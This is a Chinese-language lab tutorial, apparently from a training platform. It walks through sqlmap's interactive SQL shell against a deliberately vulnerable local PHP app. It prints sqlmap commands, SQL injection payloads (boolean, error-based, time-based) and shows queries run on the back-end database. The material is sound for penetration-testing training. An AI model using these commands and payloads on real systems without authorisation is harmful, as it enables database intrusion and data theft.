使用 sqlmap 的交互式 SQL Shell

Kali LinuxBeginner
立即练习

引言

在本实验中,你将探索 sqlmap 最强大的功能之一:交互式 SQL shell。sqlmap 是一个开源的渗透测试工具,它自动化了检测和利用 SQL 注入漏洞以及接管数据库服务器的过程。

虽然 sqlmap 可以自动化数据提取,但 --sql-shell 选项为你提供了直接、交互式访问后端数据库的能力。这使你能够在渗透测试期间运行自定义 SQL 查询,从而获得更大的灵活性和控制力。你将学习如何建立注入、启动 shell,以及执行命令来查询数据库。

在目标上建立成功的注入

在此步骤中,你将使用 sqlmap 扫描一个 Web 应用程序,并确认它易受 SQL 注入攻击。我们的设置脚本已经创建了一个在本地 Apache 服务器上运行的简单、易受攻击的 PHP 应用程序。我们需要将 sqlmap 指向目标 URL,让它执行初步分析。

首先,在你的终端中运行以下 sqlmap 命令。我们使用 -u 标志来指定目标 URL,并使用 --batch 以非交互模式运行,接受所有默认答案。

sqlmap -u "http://127.0.0.1/index.php?id=1" --batch

sqlmap 将执行一系列测试。请等待它完成。输出将显示 GET 参数 id 存在漏洞。在我们可以继续进行利用之前,此确认是必要的第一步。

你应该看到类似以下的输出,确认了漏洞:

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 1421=1421

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'

使用 --sql-shell 启动交互式 SQL Shell

在此步骤中,你将使用 --sql-shell 选项在目标数据库上获得一个交互式 SQL 提示符。既然你已经确认了注入点,就可以指示 sqlmap 提供直接访问权限了。

运行与之前相同的 sqlmap 命令,但这次将 --batch 选项替换为 --sql-shell

sqlmap -u "http://127.0.0.1/index.php?id=1" --sql-shell

sqlmap 将重新确认注入,然后向你展示一个特殊的提示符:sql-shell>。这表明你现在正处于与后端数据库的交互式会话中。从这个提示符可以执行任何适用于目标 DBMS(我们知道是 MySQL)的有效 SQL 查询。

输出将如下所示:

[15:35:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:35:00] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>

执行自定义 SQL 查询,例如 SELECT @@version

在此步骤中,你将在交互式 SQL shell 中执行你的第一个命令。这将展示你直接查询数据库的能力。一个常见的初始查询是检查数据库版本。

sql-shell> 提示符下,输入以下 SQL 查询并按 Enter。请记住在末尾加上分号。

SELECT @@version;

sqlmap 将接收你的查询,将其注入到易受攻击的参数中,发送到服务器,并将结果返回给你。MySQL 中的 @@version 变量返回一个包含数据库服务器版本的字符串。

你将在控制台中直接看到数据库版本打印出来:

sql-shell> SELECT @@version;
[15:40:01] [INFO] fetching MySQL version
[15:40:01] [INFO] retrieved: 8.0.xx-0ubuntu0.22.04.x
8.0.xx-0ubuntu0.22.04.x

执行另一个自定义查询,例如 SELECT user()

在此步骤中,你将运行另一个查询以进一步探索数据库。这强化了交互式控制的概念。让我们找出 Web 应用程序正在使用哪个数据库用户连接到数据库。

sql-shell> 提示符下,输入 SELECT user() 查询并按 Enter。

SELECT user();

此命令要求数据库返回当前会话的用户名和主机。这些信息对于理解你的注入的权限级别非常有价值。

输出将显示数据库用户,这是我们在设置脚本中配置的:

sql-shell> SELECT user();
[15:42:10] [INFO] fetching current user
[15:42:10] [INFO] retrieved: labex@localhost
labex@localhost

退出交互式 SQL Shell 并返回终端

在最后一步中,你将学习如何正确退出交互式 SQL shell 并返回到你的标准终端提示符。

要退出 sql-shell>,只需键入 exitquit 并按 Enter。

exit

sqlmap 将关闭会话,并将你带回到 Zsh 终端的 ~/project 目录。这标志着与数据库的交互式会话结束。

输出将确认会话正在结束:

sql-shell> exit
[15:45:00] [INFO] quitting
[15:45:00] [INFO] shutting down at 15:45:00

[*] shutting down...
labex@vnc-ubuntu:~/project$

你现在已经成功使用了 sqlmap 的交互式 shell 执行了自定义查询,并已返回到你的常规命令行。

总结

在本实验中,你已成功学会使用 sqlmap 最强大的功能之一:交互式 SQL shell。

你首先通过基础的 sqlmap 扫描识别了目标应用程序中的 SQL 注入漏洞。然后,你利用此漏洞,通过 --sql-shell 标志启动了一个交互式会话。在此 shell 中,你执行了自定义 SQL 查询,例如 SELECT @@version;SELECT user();,以直接查询数据库并检索信息。最后,你学会了如何退出 shell 并返回到你的终端。对于任何需要对受损数据库进行精细控制的渗透测试人员来说,这项技能都至关重要。